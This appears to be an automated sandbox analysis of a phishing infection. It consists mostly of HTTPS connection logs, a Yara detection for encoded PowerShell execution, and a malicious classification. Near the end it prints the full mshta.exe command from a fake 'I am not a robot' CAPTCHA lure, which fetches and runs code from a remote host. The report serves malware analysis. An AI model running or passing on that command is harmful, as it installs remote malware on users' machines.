Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.16:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.212.29:443 -> 192.168.2.16:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.212.29:443 -> 192.168.2.16:50014 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2408, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 24%

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2292
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2254
Source: C:\Windows\System32\mshta.exe	Process created: Commandline size = 2292	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2254	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 2408, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.phis.evad.win@29/362@36/14

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3044:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd2mn0gt.epv.ps1

Jump to behavior

Source: C:\Windows\System32\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,6344589457771235264,13748458223402876803,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://cipassoitalia.it"
Source: unknown	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec # ? ''I am not a robot - reCAPTCHA Verification ID: 4678''
